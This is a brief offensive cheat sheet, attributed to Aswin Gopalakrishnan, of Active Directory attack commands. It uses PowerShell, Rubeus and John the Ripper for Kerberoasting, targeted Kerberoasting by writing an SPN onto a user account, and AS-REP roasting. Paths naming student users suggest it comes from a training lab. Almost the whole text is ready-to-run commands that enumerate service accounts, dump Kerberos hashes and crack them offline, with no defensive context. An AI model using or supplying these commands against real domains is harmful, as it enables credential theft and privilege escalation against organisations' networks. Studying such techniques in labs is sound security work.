by Aswin Gopalakrishnan
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-DomainUser –SPN
Rubeus.exe kerberoast /user:serviceaccount /simple /rc4opsec
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-
pass.txt C:\AD\Tools\hashes.txt
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "StudentUsers"}
Get-DomainUser -Identity support1user | select serviceprincipalname
Get-ADUser -Identity support1user -Properties ServicePrincipalName | select ServicePrincipalName
Set-DomainObject -Identity support1user -Set @{serviceprincipalname='us/myspnX'}
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='us/myspnX'}
Rubeus.exe kerberoast /outfile:targetedhashes.txt john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\targetedhashes.txt
Find accounts without Kerberos preauthentication and request an AS-REP hash for offline cracking:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
Invoke-ASREPRoast -Verbose